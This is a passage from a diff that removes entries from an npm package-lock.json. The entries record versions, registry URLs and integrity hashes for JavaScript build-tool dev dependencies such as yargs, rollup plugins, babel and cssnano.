"sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/wrap-ansi/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/wrap-ansi/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - "dev": true - }, - "node_modules/y18n": { - "version": "5.0.8", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", - "dev": true, - "engines": { - "node": ">=10" - } - }, - "node_modules/yaml": { - "version": "1.10.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", - "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", - "dev": true, - "engines": { - "node": ">= 6" - } - }, - "node_modules/yargs": { - "version": "17.5.1", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.5.1.tgz", - "integrity": "sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==", - "dev": true, - "dependencies": { - "cliui": "^7.0.2", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.3", - "y18n": "^5.0.5", - "yargs-parser": "^21.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/yargs-parser": { - "version": "21.0.1", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.1.tgz", - "integrity": "sha512-9BK1jFpLzJROCI5TzwZL/TU4gqjK5xiHV/RfWLOahrjAko/e4DJkRDZQXfvqAsiZzzYhgAzbgz6lg48jcm4GLg==", - "dev": true, - "engines": { - "node": ">=12" - } - } - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", - "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", - "dev": true, - "requires": { - "@babel/highlight": "^7.18.6" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.18.6.tgz", - "integrity": "sha512-MmetCkz9ej86nJQV+sFCxoGGrUbU3q02kgLciwkrt9QqEB7cP39oKEY0PakknEO0Gu20SskMRi+AYZ3b1TpN9g==", - "dev": true - }, - "@babel/highlight": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", - "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.18.6", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@jridgewell/gen-mapping": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", - "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", - "dev": true, - "requires": { - "@jridgewell/set-array": "^1.0.1", - "@jridgewell/sourcemap-codec": "^1.4.10", - "@jridgewell/trace-mapping": "^0.3.9" - } - }, - "@jridgewell/resolve-uri": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.0.8.tgz", - "integrity": "sha512-YK5G9LaddzGbcucK4c8h5tWFmMPBvRZ/uyWmN1/SbBdIvqGUdWGkJ5BAaccgs6XbzVLsqbPJrBSFwKv3kT9i7w==", - "dev": true - }, - "@jridgewell/set-array": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", - "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", - "dev": true - }, - "@jridgewell/source-map": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", - "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", - "dev": true, - "requires": { - "@jridgewell/gen-mapping": "^0.3.0", - "@jridgewell/trace-mapping": "^0.3.9" - } - }, - "@jridgewell/sourcemap-codec": { - "version": "1.4.14", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", - "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", - "dev": true - }, - "@jridgewell/trace-mapping": { - "version": "0.3.14", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.14.tgz", - "integrity": "sha512-bJWEfQ9lPTvm3SneWwRFVLzrh6nhjwqw7TUFFBEMzwvg7t7PCDenf2lDwqo4NQXzdpgBXyFgDWnQA+2vkruksQ==", - "dev": true, - "requires": { - "@jridgewell/resolve-uri": "^3.0.3", - "@jridgewell/sourcemap-codec": "^1.4.10" - } - }, - "@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "dev": true, - "requires": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - } - }, - "@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "dev": true - }, - "@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "dev": true, - "requires": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - } - }, - "@rollup/plugin-commonjs": { - "version": "21.1.0", - "resolved": "https://registry.npmjs.org/@rollup/plugin-commonjs/-/plugin-commonjs-21.1.0.tgz", - "integrity": "sha512-6ZtHx3VHIp2ReNNDxHjuUml6ur+WcQ28N1yHgCQwsbNkQg2suhxGMDQGJOn/KuDxKtd1xuZP5xSTwBA4GQ8hbA==", - "dev": true, - "requires": { - "@rollup/pluginutils": "^3.1.0", - "commondir": "^1.0.1", - "estree-walker": "^2.0.1", - "glob": "^7.1.6", - "is-reference": "^1.2.1", - "magic-string": "^0.25.7", - "resolve": "^1.17.0" - } - }, - "@rollup/plugin-json": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/@rollup/plugin-json/-/plugin-json-4.1.0.tgz", - "integrity": "sha512-yfLbTdNS6amI/2OpmbiBoW12vngr5NW2jCJVZSBEz+H5KfUJZ2M7sDjk0U6GOOdCWFVScShte29o9NezJ53TPw==", - "dev": true, - "requires": { - "@rollup/pluginutils": "^3.0.8" - } - }, - "@rollup/plugin-node-resolve": { - "version": "13.3.0", - "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-13.3.0.tgz", - "integrity": "sha512-Lus8rbUo1eEcnS4yTFKLZrVumLPY+YayBdWXgFSHYhTT2iJbMhoaaBL3xl5NCdeRytErGr8tZ0L71BMRmnlwSw==", - "dev": true, - "requires": { - "@rollup/pluginutils": "^3.1.0", - "@types/resolve": "1.17.1", - "deepmerge": "^4.2.2", - "is-builtin-module": "^3.1.0", - "is-module": "^1.0.0", - "resolve": "^1.19.0" - } - }, - "@rollup/plugin-typescript": { - "version": "8.3.3", - "resolved": "https://registry.npmjs.org/@rollup/plugin-typescript/-/plugin-typescript-8.3.3.tgz", - "integrity": "sha512-55L9SyiYu3r/JtqdjhwcwaECXP7JeJ9h1Sg1VWRJKIutla2MdZQodTgcCNybXLMCnqpNLEhS2vGENww98L1npg==", - "dev": true, - "requires": { - "@rollup/pluginutils": "^3.1.0", - "resolve": "^1.17.0" - } - }, - "@rollup/pluginutils": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", - "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", - "dev": true, - "requires": { - "@types/estree": "0.0.39", - "estree-walker": "^1.0.1", - "picomatch": "^2.2.2" - }, - "dependencies": { - "estree-walker": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz", - "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==", - "dev": true - } - } - }, - "@trysound/sax": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", - "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", - "dev": true - }, - "@types/estree": { - "version": "0.0.39", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", - "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==", - "dev": true - }, - "@types/node": { - "version": "18.0.0", - "resolved": "https://registry.npmjs.org/@types/node/-/node-18.0.0.tgz", - "integrity": "sha512-cHlGmko4gWLVI27cGJntjs/Sj8th9aYwplmZFwmmgYQQvL5NUsgVJG7OddLvNfLqYS31KFN0s3qlaD9qCaxACA==", - "dev": true - }, - "@types/resolve": { - "version": "1.17.1", - "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", - "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", - "dev": true, - "requires": { - "@types/node": "*" - } - }, - "acorn": { - "version": "8.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.1.tgz", - "integrity": "sha512-Xx54uLJQZ19lKygFXOWsscKUbsBZW0CPykPhVQdhIeIwrbPmJzqeASDInc8nKBnp/JT6igTs82qPXz069H8I/A==", - "dev": true - }, - "ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true - }, - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", - "dev": true, - "requires": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - } - }, - "array-union": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", - "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", - "dev": true - }, - "balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true - }, - "binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true - }, - "boolbase": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", - "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", - "dev": true - }, - "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "browserslist": { - "version": "4.21.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.1.tgz", - "integrity": "sha512-Nq8MFCSrnJXSc88yliwlzQe3qNe3VntIjhsArW9IJOEPSHNx23FalwApUVbzAWABLhYJJ7y8AynWI/XM8OdfjQ==", - "dev": true, - "requires": { - "caniuse-lite": "^1.0.30001359", - "electron-to-chromium": "^1.4.172", - "node-releases": "^2.0.5", - "update-browserslist-db": "^1.0.4" - } - }, - "buffer-from": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", - "dev": true - }, - "builtin-modules": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz", - "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==", - "dev": true - }, - "caniuse-api": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", - "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", - "dev": true, - "requires": { - "browserslist": "^4.0.0", - "caniuse-lite": "^1.0.0", - "lodash.memoize": "^4.1.2", - "lodash.uniq": "^4.5.0" - } - }, - "caniuse-lite": { - "version": "1.0.30001361", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001361.tgz", - "integrity": "sha512-ybhCrjNtkFji1/Wto6SSJKkWk6kZgVQsDq5QI83SafsF6FXv2JB4df9eEdH6g8sdGgqTXrFLjAxqBGgYoU3azQ==", - "dev": true - }, - "chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", - "dev": true, - "requires": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "fsevents": "~2.3.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - } - }, - "cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", - "dev": true, - "requires": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", - "wrap-ansi": "^7.0.0" - } - }, - "color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "requires": { - "color-name": "1.1.3" - } - }, - "color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", - "dev": true - }, - "colord": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.2.tgz", - "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", - "dev": true - }, - "commander": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", - "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", - "dev": true - }, - "commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", - "dev": true - }, - "concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true - }, - "css-declaration-sorter": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.0.tgz", - "integrity": "sha512-OGT677UGHJTAVMRhPO+HJ4oKln3wkBTwtDFH0ojbqm+MJm6xuDMHp2nkhh/ThaBqq20IbraBQSWKfSLNHQO9Og==", - "dev": true, - "requires": {} - }, - "css-select": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", - "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", - "dev": true, - "requires": { - "boolbase": "^1.0.0", - "css-what": "^6.0.1", - "domhandler": "^4.3.1", - "domutils": "^2.8.0", - "nth-check": "^2.0.1" - } - }, - "css-tree": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", - "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", - "dev": true, - "requires": { - "mdn-data": "2.0.14", - "source-map": "^0.6.1" - } - }, - "css-what": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", - "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", - "dev": true - }, - "cssesc": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", - "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", - "dev": true - }, - "cssnano": { - "version": "5.1.12", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.12.tgz", - "integrity": "sha512-TgvArbEZu0lk/dvg2ja+B7kYoD7BBCmn3+k58xD0qjrGHsFzXY/wKTo9M5egcUCabPol05e/PVoIu79s2JN4WQ==", - "dev": true, - "requires": { - "cssnano-preset-default": "^5.2.12", - "lilconfig": "^2.0.3", - "yaml": "^1.10.2" - } - }, - "cssnano-preset-default": { - "version": "5.2.12", - "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz", - "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==", - "dev": true, - "requires": { - "css-declaration-sorter": "^6.3.0", - "cssnano-utils": "^3.1.0", - "postcss-calc": "^8.2.3", - "postcss-colormin": "^5.3.0", - "postcss-convert-values": "^5.1.2", - "postcss-discard-comments": "^5.1.2", - "postcss-discard-duplicates": "^5.1.0", - "postcss-discard-empty": "^5.1.1", - "postcss-discard-overridden": "^5.1.0", - "postcss-merge-longhand": "^5.1.6", - "postcss-merge-rules": "^5.1.2", - "postcss-minify-font-values": "^5.1.0", - "postcss-minify-gradients": "^5.1.1", - "postcss-minify-params": "^5.1.3", - "postcss-minify-selectors": "^5.2.1", - "postcss-normalize-charset": "^5.1.0", - "postcss-normalize-display-values": "^5.1.0", - "postcss-normalize-positions": "^5.1.1", - "postcss-normalize-repeat-style": "^5.1.1", - "postcss-normalize-string": "^5.1.0", - "postcss-normalize-timing-functions": "^5.1.0", - "postcss-normalize-unicode": "^5.1.0", - "postcss-normalize-url": "^5.1.0", - "postcss-normalize-whitespace": "^5.1.1", - "postcss-ordered-values": "^5.1.3", - "postcss-reduce-initial": "^5.1.0", - "postcss-reduce-transforms": "^5.1.0", - "postcss-svgo": "^5.1.0", - "postcss-unique-selectors": "^5.1.1" - } - }, - "cssnano-utils": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", - "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", - "dev": true, - "requires": {} - }, - "csso": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", - "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", - "dev": true, - "requires": { - "css-tree": "^1.1.2" - } - }, - "deepmerge": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", - "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", - "dev": true - }, - "dependency-graph": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz", - "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==", - "dev": true - }, - "dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, - "requires": { - "path-type": "^4.0.0" - } - }, - "dom-serializer": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", - "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", - "dev": true, - "requires": { - "domelementtype": "^2.0.1", - "domhandler": "^4.2.0", - "entities": "^2.0.0" - } - }, - "domelementtype": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", - "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", - "dev": true - }, - "domhandler": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", - "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", - "dev": true, - "requires": { - "domelementtype": "^2.2.0" - } - }, - "domutils": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", - "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", - "dev": true, - "requires": { - "dom-serializer": "^1.0.1", - "domelementtype": "^2.2.0", - "domhandler": "^4.2.0" - } - }, - "electron-to-chromium": { - "version": "1.4.173", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.173.tgz", - "integrity": "sha512-Qo3LnVW6JRNhD32viSdPebxKI7K+3WeBDjU1+Q2yZS83zAh8C2LyPpzTimlciv6U74KpY9n/0ESAhUByRke0jw==", - "dev": true - }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, - "entities": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", - "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", - "dev": true - }, - "escalade": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": 